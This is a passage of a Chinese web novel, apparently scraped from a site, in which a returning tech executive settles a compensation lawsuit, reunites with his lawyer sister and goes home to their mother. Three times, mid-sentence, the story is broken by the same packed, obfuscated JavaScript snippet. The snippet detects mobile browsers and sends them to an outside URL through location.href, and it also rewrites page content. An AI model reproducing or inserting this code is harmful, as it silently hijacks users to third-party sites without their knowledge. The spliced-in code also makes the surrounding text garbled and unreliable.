审判长看向向陈词,再次确认:“被告方,请你明确你的意思,你是否代表鸿一科技有限公司,表示对本案放弃抗辩,并同意一次性向原告支付死亡赔偿金、丧葬费、被扶养人生活费等各项费用,共计人民币一百二十万元?” 陈词颔首,没有半点犹豫:“是的审判长,我同意。并且,我们希望可以当庭签署调解协议,我方承诺,将以最快速度安排支付。” 这是时予安职业生涯中经手过最快的一场官司,因为陈词的一句话,接下来的过程异常顺利。 暖洋洋的光从云隙漏下来,仿佛世间万象终于握手言欢了。 “老大,您的车大概十分钟后到。”肖涛挂断电话,将内容转达给陈词。 “嗯。”陈词闭眼仰靠在椅背上,手臂松松交叠搁在小腹处。没有人说话,宽大的商务车里静得只剩空调送风的呼呼声,还有对面郑伟一声沉过一声的喘息。 半晌,陈词撩起眼皮,平静地朝郑伟看去。郑伟被他看得心里阵阵发虚,搁在膝盖上的两只手不自觉绞紧了。 “郑律师,没什么想跟我说的?”陈词问,他声音不高,却把郑伟吓得打了个哆嗦,没敢吱声。 见状,肖涛默默叹了口气。 老大给了郑伟一次坦白从宽的机会,可惜他没抓住。 “据我所知,一百二十万这个数,放在这类事故里说得过去,人家没有狮子大开口。”陈词不紧不慢地问:“所以我现在有点好奇,你们是怎么被人告上法庭的?” 郑伟额上的汗冒得更凶了,还没编好答案,又听陈词说:“是没把钱赔给人家吧?响尘刚收购鸿一,我不信公司连一百二十万都掏不出来,那么这笔早该赔出去的钱跑到谁兜里去了?” “陈总,这……我、我不清楚……”郑伟舔了舔发干的嘴唇,支支吾吾道:“具体情况公司还在调查。” 陈词从鼻腔里哼出一声冷笑:“有这么难查吗?” 陈词眼风扫过来,肖秘书立刻会意,肃容正色道:“我马上去办。” “两天。”陈词吩咐:“两天之内,我要看到这件事的完整报告,谁授意的拖延,谁批准的压价,谁经手的沟通,一笔一笔,都要摆到台面上来。如果两天后还查不明白,那么跟这个案子沾边的人,有一个算一个,全部给我滚蛋,响尘不养拿钱不干人事儿的废物。” 肖涛领命:“是。” “另外,把鸿一清理干净。”陈词语气森冷,“我不管牵扯出多少人,也不管其中有多少所谓的元老、功臣,我要的是干净。” 肖涛点头:“明白。您放心,我知道该怎么做了。” 交代完这些,陈词重新看向面如死灰的郑伟,“至于你,既然现在不想说,那就永远都不用说了。” “陈总!”郑伟一看陈词这回是动真格的,彻底慌了,“我错了!我说!都是张经理让我——” “出去。”陈词沉声打断。 车门“哗”一声拉开,郑伟几乎是被半推半请地带下了车。 肖涛关上门,回头轻声问:“老大,车到了,您现在走吗?” “不走,等人。” 肖涛看着陈词套上羽绒服下车,心里那点惊讶压都压不住。他没听错吧,有生之年,居然能从老大嘴里听见“等人”俩字。 陈词是谁?Zorya的首席技术官!向来只有别人候着他的份,什么时候见他等过别人? 想起庭上那位时律师,肖涛心里转了个弯,老大等的应该是她吧。 到底是亲兄妹,待遇就是不一样,肖涛暗自感叹,让司机开车去公司。 手机在口袋里震动,陈词掏出来一看,是Dennis。他毫不怀疑这家伙是掐着点打过来的。 “解释一下。”陈词接起来,语气不善。 “解释什么?”Dennis装傻。 陈词压着火:“解释一下,为什么我一觉睡醒,人就到了法院门口,还莫名其妙成了被告?” “哈哈哈哈哈……”电话那头爆出一串毫不客气的大笑。 “笑,接着笑。”陈词嗓音比西伯利亚寒流还冰冷,“信不信我立马订机票回去?” 笑声戛然而止。 “别!哥!我错了!”Dennis秒怂。他了解陈词,甭看这位少爷斯斯文文的,真惹急了,跨半个地球回来找他算账这种事,绝对干得出来。 记得大学期末周那会儿,每天狂学12个小时,谁不是累得回宿舍倒头就睡?陈词倒好,不光不累,还抽空闲忙地回北京给他那宝贝妹妹开了次家长会,精力简直旺盛到了令人发指的地步。 Dennis见好就收:“你听我跟你解释。” “嗯哼,”陈词把玩着车钥匙,“我听着呢。” “事情很简单,鸿一那边有个小官司,需要有负责人出庭,其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025679|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用你干嘛,就是过去露个面。我想着反正你今天到北京,正好赶上,就顺手安排了一下。”他说得轻描淡写极了。 陈词“哦”了一声,“就露个面,你怎么不来?” “呃……因为你是被告。” 陈词气得差点当场把手机摔出去,“你他妈可真够意思,我人还在天上飞呢,你就在地上给我挖好坑了,我这辈子还没站过被告席!” “哎呀,消消气消消气,我以我的人格担保——” “人格?”陈词嗤笑,“你有这玩意儿吗?” Dennis被噎得够呛,很气,又找不着词怼回去,于是选择不和陈词一般见识,并在心里默念:君子报仇,十年不晚! “你有计划了?”Dennis问,以他对陈词的了解,这个时候,他应该已经有所行动了。 陈词有些头痛地摁了摁眉心:“我会处理干净。” Dennis叹口气,语气变得认真了些,“Elio,我知道你眼里容不得沙子,但你们中国不是有句老话,叫‘水至清则无鱼’?” “我知道,”陈词明白他的顾虑,“但新官上任的三把火总得烧一烧。” “OK,响尘交给你,你说了算。怎么样,CEO不好干吧?现在知道我这几年管着Zorya有多不容易了吧?”Dennis总算逮着机会吐苦水,“我还是那句话,要是哪天你后悔回国了,Zorya随时欢迎你回来,实验室永远给你留着位置。” 陈词想起临走前,旧金山机场,Dennis瞪着两只湛蓝眼睛不死心地问他:“Elio,你决定了吗?” 他轻轻点头。 Dennis当时笑着调侃:“男人要想做一件事,动机一般就两个,一是为钱,二是为美人,你为哪个?” “你猜?”陈词站在巨大的玻璃窗前,懒洋洋地勾起嘴角。 “猜个屁,”Dennis撇嘴,“你又不缺钱,那就是为美人喽?” 陈词笑笑,没承认,也没否认。 “说真的,Elio,你为什么非要回国?我们这里有全世界最顶尖的实验室和实验设备。” “我不是非要回国,”陈词纠正他的用词,“是回家。” Dennis长长“唉”了一声,一半不舍,一半不解,“那我们一手创立的公司,你就这么抛弃了?” “响尘也是我们的公司。”陈词提醒。 “可是你留在湾区会发展得更好!”Dennis提高音量,“响尘作为Zorya在中国的分部,随便派个人过去打理不就行了,值得你亲自回去?” 好好的上班搭子突然走了,对Dennis来说跟失恋没啥区别。他嫌陈词走得突然,可同时他也清楚,陈词回国并非临时起意。事实上,早在Zorya步入发展快车道后,陈词就把注意力转向了中国市场。 一年前,北京城里多了家名叫“响尘科技”的公司,接连吃下好几个有真本事的研发团队,作风干脆利落,出手也相当阔绰。外行人看热闹,只当是又有洋资本进来撒钱探路,却鲜少有人窥见其幕后真正的掌舵人。 他还欲挽留,被陈词轻声打断:“Dennis,我从来没想过永远留在这里。我们一开始说好的,等这边走上正轨我就回北京,说话要算话。” Dennis望着他,一贯嬉笑的脸上露出罕见的幽怨,“中国的科研环境你不是不了解,我就不明白了,北京到底有什么好,你们一个个非要往那里跑!” 这话听着耳熟,陈词笑道:“巧了,当年我出国的时候也有个人这么问我,‘国外到底有什么好,你们一个个非要往外跑!’” 话说到这份上,Dennis明白说什么都没用了,他最后问:“所以你到底为什么非走不可,总得有个理由吧,难不成真是为了美人?” “理由很简单,因为北京才是我的家。”陈词抬手系上西装纽扣,“因为我的家人,我的朋友,我从小到大所有的成长痕迹,都属于那座名叫北京的城市。” 他说这话时,目光是说不出的柔和眷恋,那是中国人刻在骨子里的乡土情结。那一刻Dennis恍然,无论是旧金山,还是Zorya,又或者是他自己,统统都留不住陈词。 他的终点在中国。 他的归途在北京。 停机坪上不断有飞机起落,Dennis带上墨镜和陈词碰了一拳:“一路平安!” “后会有期!” “Elio?”电话那头,Dennis听陈词久久沉默,忍不住追问:“你后悔了吗?” 这时,时予安正好从法院门口走出来,叮嘱刘桂芬后续领取赔偿款的流程,陈词看着她,每个字都落得稳稳当当:“我不会后悔。” 树高千丈,叶落归根。 北京这座四九城,有他惦念、牵挂的一切。 而他,又怎会后悔? 4. 第4章 “时律师,谢谢你,真谢谢你!”法院门前,刘桂芬后退一步,朝时予安深深鞠躬。 时予安忙扶住她,“您别这样,这都是我应该做的。” “时律师,你是好人,大好人!要不是你,我真不知道怎么办好了……老巩出事后,我感觉天都塌了,我们这个岁数,上有老下有小,家里顶梁柱没了,往后的日子可怎么过啊!”刘桂芬说着说着又哽咽了,她抬手抹了把眼睛,“今天开庭前我本来还担心,真打上官司,我们怎么可能斗得过大公司,没想到今天这么顺利。刚才在里头,我还误会你骗我,我……你千万别跟我计较。” “刘阿姨,快别这么说,能帮上忙,看到事情有个公正的处理结果,我比什么都高兴。赔偿金下来后,好好供孩子上学,你们把日子过好了,巩叔在天上才能安心。” 刘桂芬用力点头,向时予安再三道谢。陈词倚着黑色轿车门,静静望着她们,没上前打扰。 刘桂芬走后,时予安轻轻吁出一口白气,冬日阳光晃得她眯了眯眼,一低头,就撞进了台阶下面那双深邃的眼睛里。 陈词外面套了件黑色长款羽绒服,敞着怀,露出里面挺括的西装,他看起来没怎么变,还是那么沉稳帅气。 两人隔着十几级台阶,时予安盯着他看的时候,同样地,陈词也在看她。 他这几年很少回家,每次回来都觉得她变化不小,记忆中那个总爱黏着他喊哥哥、笑起来没心没肺的小丫头,不知什么时候已经蜕变成能独当一面的大律师了。 “念念,”陈词朝她招了下手,“过来。” 时予安抿唇,脚尖在原地蹭了下,莫名有些不知所措。 她一阶一阶走下去,在陈词面前站定。橙黄的太阳高悬在头顶,光线将男人清俊的眉眼勾勒得格外清晰,连睫毛投下的淡淡阴影都看得分明。 时予安目不转睛地看着他,陈词挑挑眉,“怎么不叫人?不认识我了?” “陈词。”字正腔圆的两个字。 时予安不怕死地直呼她哥大名,下一秒就挨了个爆栗。她没躲,反正陈词不会真用力。 “没大没小。”陈词捏了下手指骨节,不满睨她:“时念念,你少用人朝前不用人朝后,有事儿哥哥没事儿陈词。再给你一次机会,重新喊。” 时予安笑起来,唇角上扬,露出两颗浅浅的酒窝。 “哥。”她顺从地喊了一声,不自觉软下声音,“好久不见。” 上次见面是什么时候来着?时予安认真想了想,应该是在三哥和十一的婚礼上。那一阵陈词公司正研发一个新项目,忙得不可开交,回来仅待了两天,婚礼一结束就匆匆回旧金山了。 “什么时候回来的?”时予安假装不知情问。 “早上刚下飞机,然后就被送进法院了。”陈词挺无语地说。 时予安被他后半句话弄得哭笑不得,“你事先不知道啊?” “不知道。”想起Dennis那张欠揍的脸,陈词冷哼:“被人摆了一道。” 看来这次突如其来的重逢对兄妹俩冲击都不小。时予安郁闷地说:“我接这个案子的时候事先查过鸿一公司,那时候法人代表还不是你。” “鸿一是我上个月才完成收购的,”陈词解释:“手续刚办完,新闻都没来得及发,你怎么可能查到。” 原来如此。 时予安当即提醒:“哥,鸿一内部有问题,法务和财务可能串通压价,拖延赔偿,你多留心。” “放心,我会处理。” “还有那个郑伟,也不是什么好东西!”想起开庭前郑伟贿赂自己那番话,时予安愤愤地捏紧拳头。 “他欺负你了?”陈词表情严肃起来。 “那倒没有。不过他业务能力一般,而且毫无职业道德,也不知道怎么面进你们公司的。”时予安说着撇撇嘴。 她今年二十六了,提到讨厌的人时,表情还跟六岁那年在学校受了委屈,跑回家找他和爸妈告状时一模一样,带着点不自觉的依赖和娇气。 陈词哑然失笑,配合地点点头:“嗯,时律师说得有道理,回头我就查查他怎么混进来的。”停了停,又问:“听爸妈说,毕业后你一直在做法援?” 时予安“嗯”一声。 冬天风大,吹得大衣下摆微微晃动,她等着预料中的追问,可陈词只是静静看着她,没有说话。 “哥,”时予安等了一会儿忍不住先开口:“你不问我为什么做这个吗?” 毕竟她认识的人里十个有八个听说她做法援的第一反应都是问她:“为什么?” “开心吗?”陈词问。 时予安不假思索:“开心啊。” 虽然很苦,很累,但是很满足。 “那不就得了,”陈词伸出手,动作自然地揉了揉她后脑勺,语调温和平缓:“原因不重要,你开心就好。” 冷风好像吹进了眼睛里,涩涩的,时予安低下脑袋用力眨了眨眼,故作抱怨地叫了声“哥”,“你怎么不按套路出牌啊!” “嗯?” “你要是问我为什么做这个,我就可以顺理成章地告诉你——”时予安举起胳膊,对着空旷的广场大喊:“为了理想!!!” 陈词被逗得低低笑出声来,无情吐槽:“太中二了你!” 时予安放下胳膊,气哼哼地瞪他一眼。 陈词晃了晃钥匙,“上车。” “去哪儿?” “回家。” 陈词拉开车门,时予安弯腰钻进副驾,安全带“咔哒”一声扣紧。陈词发动车子,结果引擎响了半天,车身愣是一点没动。 时予安歪头催促:“走啊哥。” “怎么走?” “开导航啊。”时予安笑了,“陈总,难不成你们搞AI的已经进化到连导航都不会用了?” “我当然会用导航,”陈词抿抿嘴唇,难得露出点窘态:“问题是……咱家地址是什么来着?” “不是吧哥!你连咱家在哪儿都能忘?”时予安快被陈词逗死了,“来,我采访一下,你还记得咱爸叫陈文泓,咱妈叫李媛吧?” “这我当然记得!”陈词轻咳一声,试图挽回颜面:“去年不是搬家了么,新家我就去过一回。” “下来下来,咱俩换换,我来开。”时予安边笑边解安全带,手搭上门把时,她想起什么,回头请示陈词:“对了哥,我可以开吧?” “开,谁不让你开了。”陈词绕到副驾,两人交换位置,时予安小声咕哝:“你还好意思问,除了你还有谁啊。” 三年前时予安跟方逸航他们几个玩飙车出了场车祸,不严重,就是在床上躺了两个多月。那次陈词是真动了火,他站在时予安病床前,脸色沉得吓人,话也撂得狠,他说:“时予安,再让我看见你摸方向盘出去鬼混,我他妈直接抽死你,反正你不怕死。” 导航设好了,时予安掌心贴上久违的方向盘,摩挲几下,眼睛亮亮地扭头问:“哥,我什么时候能自己开车啊?都过去三年了。” “没不让你开车,我是不让你玩车。”陈词语气很淡。 “都说了那次是意外,而且什么叫鬼混,人家那是正规赛车场,我没乱来。”她低声辩解。 陈词转过脸,眯眼打量她半晌,忽然道:“你是不是又手痒了,想玩车?” 时予安缩缩脖子,蚊子哼哼地:“……昂,想。” 陈词懒懒拖着声:“嗯?” “不玩了不玩了不玩了!再也不玩了!”时予安小发雷霆,油门一踩,车子稳稳滑了出去。陈词轻笑,开过两个路口,他瞥见什么,出声道:“前面靠边停一下。” 时予安顺着陈词的视线望去,路边有家花店,时予安了然,打转向灯缓缓靠边。 从陈词去国外读大学开始,每次回家他都要带两束花,一束给妈妈,一束给妹妹,爸爸没份。而且陈词买花有个习惯,人家总裁都是派人去买,或者直接订,陈词不,他必须亲自进店一枝一枝挑选。 “哥,”时予安降下车窗,探出半个身子叮嘱:“别买康乃馨!” 送康乃馨给李女士那是绝对要发火的,去年陈词不知怎么昏头了,捧回去一束康乃馨,被李女士阴阳怪气了整整三个月,陈词至今想起来仍觉得后背发凉,摆摆手道:“知道了!” 等待的工夫,时予安点开微博看了看,发现早上爆料杜乐瑶恋情的那条微博不知道什么时候已经撤了。她又搜了几个关键词,结果跟她想的一样,半点新闻都搜不到了。 是爸爸,还是哥哥?时予安思索着,面无表情地按下锁屏。 街对面有个卖菜的老奶奶,摊子上整整齐齐摆着几堆蔬菜,老奶奶身边依偎着个小姑娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025680|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着也就四五岁的样子,小脸在冷风中冻得通红。 祖孙俩身上穿了件看着就薄的旧棉袄,两手抄在袖筒里,嘴里呵着白气瑟瑟发抖。 时予安拉开扶手箱,拿出里面的黑色钱包,刚下车就打了个寒颤,她快步过去,蹲在老人和孩子面前,“奶奶,这菜怎么卖?” 老人家耳背,时予安提高音量重复了一遍她才听清。 摊子上没摆二维码,时予安掏出钱包,说:“这些我都要了,您称一下,看看一共多少钱?” 老人闻言惊讶地连连摆手,“这么多,你一个人吃不完……” “吃得完,我们家人多。”时予安说着,从钱包里抽出几张钞票,不由分说地塞进老人冻得通红的手里。 “买菜呢?” 一道低沉的嗓音伴随着风传来,时予安回头,陈词怀里抱着两束玫瑰,一束是热烈的深红,一束是温柔的浅粉。 她站起身,拍拍手上沾的灰,给陈词展示鼓鼓囊囊的布袋,“这些菜我全买了,不算多吧?” “不多。”陈词掂了掂那兜菜,“正好拿回去晚上吃,剩下的还可以送给爸爸,他肯定高兴。” “嗯?送给爸爸?”时予安正疑惑怎么送,就见陈词转身又进了花店。 他走到柜台前打开布袋,对着有些愕然的年轻店员比划了几下。店员先是怔了怔,接着点点头,转身抽出一张素雅的包装纸和墨绿丝带,不多时,一束别致的“蔬菜花”诞生了。 陈词捧着这束特别的“花”从花店出来时,时予安没忍住,别开脸笑了。 “姐姐,你的花花好漂亮呀。”说话的是老奶奶的小孙女,奶奶正佝偻着身子在三轮车后面收摊,小姑娘瞅着时予安怀里的玫瑰花,小脸上全是羡慕。 “是你男朋友送给你的吗?”小姑娘天真地问。 时予安张了张嘴,正准备说什么,这时陈词走到近前,刚好听到这句话,于是温声接道:“不是哦,这位姐姐有男朋友,我是她哥哥。” 时予安抱着玫瑰,眼中笑意淡了些。 “噢噢。”小姑娘似懂非懂地点点头,“原来哥哥也可以送玫瑰花吗?我也想要玫瑰花,可是我爸爸告诉我,鲜花是只有男朋友才可以送的礼物,等我长大了才有男孩子送我很漂亮很漂亮的玫瑰花。”她托着腮,憧憬道:“我真的好想那一天快点来呀,如果有男孩子愿意送我玫瑰花,我就愿意嫁给他!” 童言稚语,听得时予安心头一软,又有些莫名的感慨,女孩子好像天生对鲜花没有抵抗力。 “这束花送给你,好不好?”她蹲下身子,将怀里那束热烈的红玫瑰递过去。 小姑娘愣住了,眼睛瞪得圆溜溜的,她看看眼前娇嫩的花朵,再看看时予安温柔含笑的眼睛,小手紧张地背到身后,摇头,“不、不用了姐姐,奶奶不让我拿别人的东西,爸爸也说玫瑰花很贵很贵,等我长大了会有人送我的。” “既然喜欢花,为什么一定要等别人送呢?”时予安声音很轻很温柔,“等你长大了就会发现,玫瑰花其实没有你想象得那么珍贵,不用花很多钱,只要你想,自己就可以买到。喜欢的东西,不一定总要等待别人馈赠,我们自己送给自己,也一样很高兴,对不对?” 小姑娘眨巴着眼睛,似乎在努力理解这番话里那些对她而言还略显深奥的道理。 时予安说这些话时,陈词的目光始终落在她身上,他看见她把花又往前送了送,“这束花不是白送给你的,作为交换,你要答应我一件事,好吗?” “什么事呀姐姐?” “等你长大了,不要只是等着男生送你鲜花。”时予安看着她,很认真地说:“我们自己去买喜欢的花,好不好?” 其实小姑娘没完全理解她的意思,但她望着时予安真诚柔和的眼睛,还是郑重地点了点头。她小心翼翼地伸出双手,接过那束比她人还大的玫瑰,紧紧抱在怀里,一瞬间,她的眼睛亮了起来,仿佛抱住了全世界最美好的礼物。 “我答应你!谢谢姐姐!”小姑娘蹦蹦跳跳跑回奶奶身边,兴奋地举着花,老人慈爱地摸摸她的头,朝他们这边投来感激一瞥。 时予安收回目光,面向陈词晃了晃手里剩下的那束浅粉玫瑰,笑着说:“抱歉啊哥,把你给我的花送人了。” “没关系,你让它变得更有价值了。”陈词道。 5. 第5章 车子开出繁华的市中心驶向郊区,停在一扇戒备森严的大门前,时予安落下车窗出示通行证。搬家后陈词没怎么来过这边,守门的警卫看他眼生,查验证件后才示意放行。 眼看着就要进去了,谁知道陈词接过证件时习惯性地道了声“Thanks”,惹得人家警卫同志动作一顿,十分警惕地扫了他们一眼,又将证件要了回去,对着照片和陈词本人仔仔细细比对,生怕放进什么危险分子。 五分钟后,再次确认无误,警卫抬手敬了个礼。 直到把车开进去时予安才笑陈词,“回神了陈少爷,这里是中国,进了家门你可注意点,千万别中英文混杂着讲话,回头让爸爸听见,当心他又收拾你。” 陈家家风严谨,陈老爷子对下面这些小辈极其严格,陈文泓深受老爷子的熏陶骨子里也是个保守传统的,极看不惯出国读几年书回来就中英文混杂着讲话的做派。陈词第一年上大学放假回来,饭桌上不小心蹦出几个英文单词,饭后就被陈文泓叫到书房,接受了一次从精神到心灵的洗礼。 那晚陈词出来时眼神都涣散了,见到他妹第一句话就是:“你敢相信,爸训了我整整三个小时!还全程不带重样的!!” 往事不堪回首,陈词抹了把脸,“……我在家还是少说为妙。” 开过林荫道,车子七拐八拐,最终在一幢独栋别墅的庭院门前停下。 屋里暖气开得很足,时予安一进门就甩了鞋,光着脚丫子往客厅跑,结果还没跑出玄关,就被跟在后面的陈词扼住后脖颈拎了回来。 “穿鞋。” “地上又不凉……”时予安脱掉围巾羽绒服,趿拉上拖鞋。 “我鞋呢?是不是又被妈扔了?”陈词习以为常地问。 这事儿不是头一回了。Zorya初创那会儿,他整整一年没回家,好不容易抽空回来一趟,进门发现自己拖鞋没了,毛巾没了,牙刷没了,就连常用的水杯都不翼而飞了,陈词以为家里遭贼了,后来一问才知道是被李女士扔了,理由是:“反正没人用,留着也是占地方。” 陈词当时问他妈,“那我渴了怎么办?” “用这个呗。”李女士甩给他个一次性纸杯,陈词捧着纸杯都气笑了。 他蹲鞋柜那儿翻了半天没找到自己的拖鞋,认命般地拎了双客用拖鞋换上,扭头就找时予安问罪:“我每个月按时给你打三万块钱,让你看好我的东西,你就是这么拿钱办事的,嗯?” “妈趁我不在家扔的,我有什么办法。”时予安好不容易挣脱她哥的魔爪,哧溜蹿到楼梯口,仰着脖子一迭声地喊:“妈——妈妈妈妈妈妈!” “哎!是不是念念回来了?”楼上传来“咚咚咚”的脚步声,片刻,一位打扮很优雅的女士很不优雅地跑了下来。 “妈。”陈词叫了一声。 “念念?!”李媛惊喜地望着时予安,“哎呦,可算回来了!快过来让妈瞧瞧。” “得,这是压根儿没看见我。”陈词耸耸肩。 时予安像小时候一样飞扑过去抱住母亲,脸颊在母亲肩头撒娇似地蹭啊蹭,“妈妈我好想你!” 李媛被她蹭得心都要化了,柔声道:“妈也想你,饿不饿?想吃什么,让张嫂给你做。” “不饿,”时予安从她怀里抬起脸,笑眯眯地往身后一指,“哥带我吃过午饭回来的。” 一直没说话的陈词听到这,终于逮着机会开口:“李女士,别光顾着闺女啊,您儿子也站在这儿呢。” “我儿子?”李媛像是才发现屋里还有个大活人,“印象中我们家没这号人物啊,念念,你认识他吗?” 时予安窝在母亲怀里摇头,被陈词瞪一眼后冲他无辜地眨了眨眼。 “妈也不认识。”李媛低头,温柔地理了理时予安耳侧的碎发,拍拍她的背,“乖,先上楼洗个澡换身衣服,晚上让张嫂给你做好吃的,除了西湖醋鱼、糖醋排骨、干焖大虾,还想吃什么?” “还想吃您亲手做的手擀面,妈妈您别忘了。” “忘不了,妈记着呢。”上车饺子下车面,家里的老规矩了。 “妈,我也想吃您做的手擀面。”陈词抱起路上买的那束玫瑰花凑到李媛身边。 李媛“哼”了一声,没搭理儿子,头也不回地往厨房走,剩下兄妹两个站在客厅大眼瞪小眼,陈词面露难色,时予安则是幸灾乐祸。 有人欢喜有人愁。 谁能想到在外说一不二、叱咤风云的陈少爷,回到家,反倒成了最没地位的那个。家里两个女人,一个是他领导,一个是他祖宗,陈词哪个也惹不起! 他这会儿心里跟明镜似的,李媛对他的那点怨气攒了不是一天两天了,就等着他回来一并清算,这时候凑上去,纯属往枪口上撞。 不过,倒也不是全无办法。 陈词眼珠轻轻一转,“念念?” 时予安一听就知道他打的什么算盘,偏不买账,“自己惹的祸自己收拾,别指望我替你求情。”说完就往楼上跑,跑到一半时还特意回过头来,冲着陈词做了个鬼脸,“加油哦哥,我看好你!” “时、念、念,”陈词说得咬牙切齿:“算你狠。” 他一手抱花,一手拎菜走进厨房,张嫂瞧他搁在料理台上那么大一兜菜,哎哟一声,问:“怎么买这么多?” “念念买的,”陈词解释:“回来路上碰见个老奶奶,大冬天还在外头摆摊,她心一软,就全买回来了。” “念念这孩子打小就心善。”张嫂笑道,手脚利落地接过袋子开始整理。 李媛问她面粉放哪儿了,张嫂从柜子里找出来,心下了然:“念念想吃手擀面了吧?” 李媛说是,张嫂又说:“要不您歇着,我来和面,弄好了叫您,您到时候下来煮一下就行。” 李媛微笑摇头,“不用,咱们家小公主发话了,点名要吃我亲手擀的。” 张嫂也跟着笑。她是知道的,陈夫人疼孩子那是真疼,念念随口一提想吃手擀面,一年到头没进过几回厨房的陈夫人也乐得亲自下厨揉面。要知道,那可是钢琴家的手啊,上了八位数保险的。 这边两人正说着话,陈词又晃了进来,“妈,花给您插花瓶里了啊。” 李媛不吭声,陈词环住母亲肩膀,服软讨好:“李女士,别绷着脸了呗,儿子回来了还不高兴啊?” 李媛瞥他一眼,“呦,我当是谁呢,原来是陈总啊,什么风把您给吹回来了?” “瞧您说的,想您了自然就回来了呗,再说这不是我家么,儿子回家难不成还要提前跟您打报告啊?”陈词从冰箱摸了罐冰镇可乐,食指扣进拉环,稍一用力,“呲”的一声轻响,白气瞬间逸出。 陈词仰头灌了一口可乐,冰冰凉凉的,总算缓解了长途飞行和半天折腾带来的疲惫。他斜倚在门框上,姿态放松。 看他这副吊儿郎当的样子,李媛气不打一处来,“你还记得北京有个家呢?你家不是在美国吗,回你那儿去吧,啊。”说着抬手推他。 “哎——”陈词没防备,被他妈推得踉跄半步,可乐跟着一晃,几滴液体溅到手背上。 “我这不是回来了么,”陈词赶紧笑着讨饶:“这次回来就不走了。您再推,可乐可全洒您新买的地毯上了啊。” 不走了?李媛闻言一怔。 张嫂边择菜边打圆场:“小词不在的时候您天天念叨,这好不容易回来了,怎么还往外撵呢。” 李媛揉着面团没吭声,脸色却是缓和了不少。 陈词见状再接再厉:“妈,温柔美丽善解人意秀外慧中气质如兰的妈妈,别生我气了呗。” 时予安洗完澡从楼上下来,正听见妈妈笑着骂了句“油嘴滑舌”,她用口型问陈词:“哄好了?” 陈词点头,又喝了口可乐,漂亮的喉结随着他吞咽的动作轻轻滚动,本来就是很诱人的画面,加之衬衫扣子松了两颗,又给他平添了几分漫不经心的慵懒。 时予安不自觉地咽了下口水。 陈词见她傻站着,出声叫她,“杵那儿干嘛,过来。” 时予安走到跟前,陈词抛给她一个苹果,转头问李媛:“我爸今儿什么时候回来?” “估摸着六点多吧,他知道念念今天回来,特意说要早下班。” “嚯!”陈词意外地抬了抬眉梢,像是听到了什么新鲜事,“念念面子够大的啊,能让日理万机的陈书记提前下班。” 时予安啃着苹果没说什么,又听他颇为遗憾地感叹:“都是一个爹妈养的,怎么就没人惦记着去机场接我呢?” 这话说得酸溜溜的,时予安朝陈词轻轻挑了下眉。 李媛听着这是要争宠的意思,当下把擀面棍往案板上一搁,发出“咚”一声闷响,“接你?请问您回来提前下通知了吗?指望我们未卜先知啊,不好意思,我是你妈,不是神仙。去去去,别在这碍事儿,要么去收拾你那一箱子衣服,要么去客厅老实待着。” 陈词被母亲连珠炮似地轰了出来,时予安探头进厨房,乖巧道:“妈妈,我来帮您吧?” 话音刚落,身后传来一声毫不客气的嗤笑,“别给自己加戏了,大律师。” “什么意思?” “说的好像你会做饭一样。”陈词无情拆台。 时予安平生唯二两次下厨,结局都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025681|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太美好,第一回把她自己送进了医院,第二回把她哥送进了医院。 头一回下厨,火还没点着,时予安处理虾的时候不小心扎破了手,被陈词紧急带去医院打破伤风;至于这第二回嘛,就说来话长了。 那是一个月黑风高的夜晚,陈总在连轴转三周后,终于迎来喜大普奔的八天长假。 时予安心血来潮,扬言要亲自下厨,做一顿大餐犒劳她那苦命的哥哥! 陈词表示很欣慰,在房间蒙头补觉,随便她在厨房折腾。 一小时后,睡眼惺忪的陈词盯着面前那坨不明物质,犹豫再三,还是发问:“这能吃吗?” “能能能!必须能!”时予安拍着胸脯保证,人家也不吹牛,实话实说:“哥你别看它卖相不好,其实它味道也很一般,你就放心大胆吃吧!” 陈词:“……” 他倒不在乎好不好吃,他更关心的是:“这玩意儿没毒吧?” “当然没毒!!!”时予安瞪大眼睛,脸上表情堪比番茄小说中被渣男辜负的苦情女主:“哥!咱俩认识二十多年了,我是什么人你心里不清楚吗?!我能干出害你的事吗?!” 陈词也觉得她干不出这种事儿,毕竟二十多年感天动地的兄妹情不是假的。于是大少爷十分放心地掂起筷子,践行了小学老师教育的“光盘行动”。 凌晨两点,陈词上吐下泻,被救护车呜哇呜哇拖走了。 好一阵兵荒马乱。 医生诊断是食物中毒引起的急性肠胃炎。 深夜病房,陈词虚弱地躺在床上,眼神幽怨地瞪着时予安。 时予安被他看得浑身发毛,摸摸鼻子,小声试探:“哥,你还好吧?” “你说呢?”陈词语气凉飕飕的,“说好的没毒呢?说好的不会害我呢?时念念,我那么信任你,你就是这么对待我的信任的?” 